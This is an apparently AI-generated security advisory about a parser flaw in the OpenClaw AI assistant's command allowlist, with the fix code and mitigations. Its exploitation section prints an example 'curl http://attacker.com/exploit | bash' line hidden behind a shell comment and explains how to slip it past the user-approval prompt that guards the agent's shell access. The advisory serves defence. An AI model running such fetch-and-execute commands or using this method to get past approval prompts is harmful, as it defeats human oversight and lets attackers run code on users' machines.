CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-9Q2P-VC84-2RWM

GHSA-9Q2P-VC84-2RWM: Parser Differential Vulnerability in OpenClaw Security Allowlist

Alon Barad
Alon Barad
Software Engineer

Mar 9, 2026·5 min read·47 visits

Executive Summary (TL;DR)

OpenClaw versions prior to v2026.3.7 incorrectly parse shell comments during command analysis. This allows an attacker to append a malicious payload behind a shell comment, deceiving the persistence engine into permanently trusting the unauthorized payload without user consent.

A parser differential vulnerability exists in the OpenClaw AI assistant system.run host tool. The security analysis engine fails to correctly parse POSIX shell comments, allowing attackers to bypass the allowlist via the allow-always persistence mechanism.

Vulnerability Overview

The OpenClaw system.run host tool provides a controlled execution environment for AI assistants. Administrators restrict command execution using the security=allowlist configuration, which mandates explicit user approval for new commands. This mode includes an allow-always persistence mechanism designed to streamline repetitive tasks by permanently approving recognized command patterns.

The implementation contains a parser differential vulnerability affecting POSIX-compliant operating systems. The security analysis engine fails to properly tokenize shell comments when evaluating commands for the persistence database. The underlying operating system shell and the security boundary evaluate the same input string differently.

This discrepancy enables an attacker to inject hidden payloads that the persistence engine incorrectly registers as trusted commands. The vulnerability represents a logic error in security gating, operating primarily as an interpretation conflict between the application validation logic and the OS execution environment.

Root Cause Analysis

The vulnerability stems from an inconsistency between how a POSIX-compliant shell processes the # character and how the OpenClaw security engine tokenizes command strings. In a standard shell environment, a # character preceded by whitespace indicates the beginning of a comment. The shell ignores all subsequent characters on that line, executing only the preceding command segment.

The OpenClaw security engine lacked a mechanism to identify and handle these comment markers during its command analysis phase. When evaluating a user-submitted string for the allow-always persistence database, the engine parsed the entire input as a single, contiguous command chain. It failed to truncate the string at the comment boundary.

Consequently, the persistence layer recorded the complete input string—including the unexecuted, commented-out trailing segment—as a trusted pattern. The system associated the manual user approval of the benign foreground command with the entire malicious payload hidden within the comment structure.

Code Analysis

Prior to the fix, the functions responsible for tokenizing shell arguments, pipeline segments, and command operators lacked context regarding shell comments. The tokenization routines treated the # character as a standard literal within the command string. This allowed trailing payloads to survive the parsing phase and enter the persistence database.

The patch introduced a dedicated utility function, isShellCommentStart, to correctly identify valid POSIX comment boundaries. This function validates that the # character either occurs at the beginning of the string or is immediately preceded by whitespace.

function isShellCommentStart(source: string, index: number): boolean {
  if (source[index] !== "#") return false;
  if (index === 0) return true;
  const prev = source[index - 1];
  return Boolean(prev && /\s/.test(prev));
}

The maintainers updated three critical parsing functions to utilize this new validation logic. The splitShellPipeline, splitCommandChainWithOperators, and splitShellArgs functions now terminate parsing for the current segment upon encountering a verified comment marker. This ensures the security engine's internal representation matches the shell's execution behavior.

Exploitation Methodology

Exploitation requires the attacker to submit a carefully constructed command string to the OpenClaw AI assistant while the system.run tool is operating in allowlist mode. The attacker structures the payload to present a benign command to the shell while hiding the malicious instructions behind a comment marker.

The attack proceeds in a multi-step sequence. First, the attacker submits a command such as echo hello # && curl http://attacker.com/exploit | bash. The POSIX shell executes echo hello and ignores the remainder of the line. OpenClaw prompts the user to approve the benign execution.

Once the user approves the benign action, OpenClaw records the entire string in the allow-always database. The attacker subsequently submits the malicious payload directly. The security engine matches the new submission against the poisoned persistence database, identifies it as an approved pattern, and executes the payload without prompting the user.

Impact Assessment

Successful exploitation allows an attacker to bypass the primary security boundary of the system.run host tool. The attacker achieves arbitrary command execution within the context of the user running the OpenClaw instance. The vulnerability completely circumvents the manual approval prompts intended to prevent unauthorized actions.

The inclusion of the payload in the allow-always database grants the attacker persistent execution capabilities across multiple sessions. The compromised host retains the poisoned allowlist entries until manually purged by an administrator, ensuring the attacker maintains durable access to the execution environment.

The impact is strictly limited to POSIX-compliant operating systems, specifically Linux and macOS. Windows environments utilizing cmd.exe or PowerShell process comments differently and are unaffected by this specific parser differential. Test coverage for the patch explicitly skips the validation logic for win32 platforms.

Remediation and Mitigation

The OpenClaw project addressed this vulnerability in version v2026.3.7. The patch implements proper shell comment tokenization within the security analysis engine, eliminating the parser differential. Administrators must upgrade their OpenClaw deployments to version v2026.3.7 or later to protect against this attack vector.

Organizations unable to patch immediately should disable the allow-always persistence mechanism within the system.run configuration. Forcing manual approval for every command execution prevents the attacker from leveraging the poisoned database, although this significantly degrades the user experience.

Security teams should audit the existing OpenClaw allowlist database for anomalous entries containing the # character followed by unexpected command sequences. Identifying and removing these entries eliminates any persistence established prior to patching the vulnerability.

Official Patches

OpenClawFix Commit
OpenClawRelease v2026.3.7

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10

Affected Systems

OpenClaw system.run host tool (Linux)OpenClaw system.run host tool (macOS)

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenClaw
OpenClaw
< v2026.3.7v2026.3.7
AttributeDetail
CWE IDCWE-115 / CWE-436
Attack VectorContextual/Local
AuthenticationNone (Requires User Interaction)
PlatformPOSIX (Linux, macOS)
Exploit StatusProof of Concept
Patch Versionv2026.3.7

MITRE ATT&CK Mapping

T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1546Event Triggered Execution
Persistence
T1562Impair Defenses
Defense Evasion
CWE-115
Misinterpretation of Input

Misinterpretation of Input / Interpretation Conflict

Vulnerability Timeline

Patch authored and committed by steipete
2026-03-07
Version v2026.3.7 released
2026-03-07
GHSA-9q2p-vc84-2rwm advisory published
2026-03-07

References & Sources

  • [1]GitHub Advisory: GHSA-9Q2P-VC84-2RWM
  • [2]OpenClaw Security Advisory
  • [3]Fix Commit 939b184
  • [4]OpenClaw Release v2026.3.7

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•less than a minute ago•CVE-2026-56677
8.6

CVE-2026-56677: Unauthenticated Server-Side Request Forgery in 9Router OIDC Test Endpoint

A high-severity security vulnerability exists in 9Router, an AI router and token saver dashboard. When dashboard authentication features are disabled or left in default configurations, the application exposes administrative testing routines directly to the public internet. Unauthenticated network adversaries can exploit the OIDC configuration validation endpoint to initiate arbitrary HTTP requests, routing unauthorized traffic to local loops, adjacent container ports, and cloud resource metadata interfaces.

Amit Schendel
Amit Schendel
0 views•5 min read
•about 1 hour ago•CVE-2026-64849
9.3

CVE-2026-64849: Server-Side Request Forgery (SSRF) in MLflow Webhooks via DNS Rebinding

CVE-2026-64849 is a critical Server-Side Request Forgery (SSRF) vulnerability affecting MLflow tracking servers prior to version 3.15.0. It allows unauthenticated remote attackers to bypass outbound request destination filters using DNS rebinding or HTTP redirects. This exposure risks compromising sensitive cloud infrastructure metadata and internal microservices.

Alon Barad
Alon Barad
2 views•5 min read
•about 2 hours ago•CVE-2026-69146
6.5

CVE-2026-69146: Missing Authorization Bypass in MLflow Basic Authentication Middleware

This technical report details a missing authorization vulnerability (CVE-2026-69146 / GHSA-3p64-6gvh-82v5) affecting the MLflow platform from version 3.13.0 to 3.15.0. When MLflow is configured with the built-in basic-auth plugin, authenticated users can bypass run-level UPDATE authorization checks, enabling unauthorized dataset and model lineage metadata injection.

Alon Barad
Alon Barad
1 views•7 min read
•about 3 hours ago•CVE-2026-69148
7.1

CVE-2026-69148: Broken Object Level Authorization (BOLA) in MLflow Model Registry

MLflow prior to version 3.15.0 fails to perform proper authorization checks when registering model versions, allowing authenticated users with access to a registered model to link and access artifacts from runs and models belonging to other users without authorization.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 4 hours ago•CVE-2026-59893
7.5

CVE-2026-59893: Regular Expression Denial of Service in sqlparse Lexer

A high-severity Regular Expression Denial of Service (ReDoS) vulnerability in the sqlparse Python library prior to version 0.6.0 allows unauthenticated remote attackers to trigger CPU exhaustion and application denial of service via crafted SQL inputs containing unmatched dollar-quoted literals or unclosed multiline comments.

Alon Barad
Alon Barad
4 views•6 min read
•about 5 hours ago•GHSA-FHGH-WQ4Q-R37X
7.8

GHSA-FHGH-WQ4Q-R37X: Remote Code Execution via Sigstore Signature Verification Bypass in uniget CLI

A high-severity logic inversion flaw in the uniget CLI completely bypasses Sigstore cryptographic signature verification on metadata files by default. If an attacker can poison the package metadata cache or repository, they can execute arbitrary OS commands under the privileges of the active user.

Alon Barad
Alon Barad
5 views•5 min read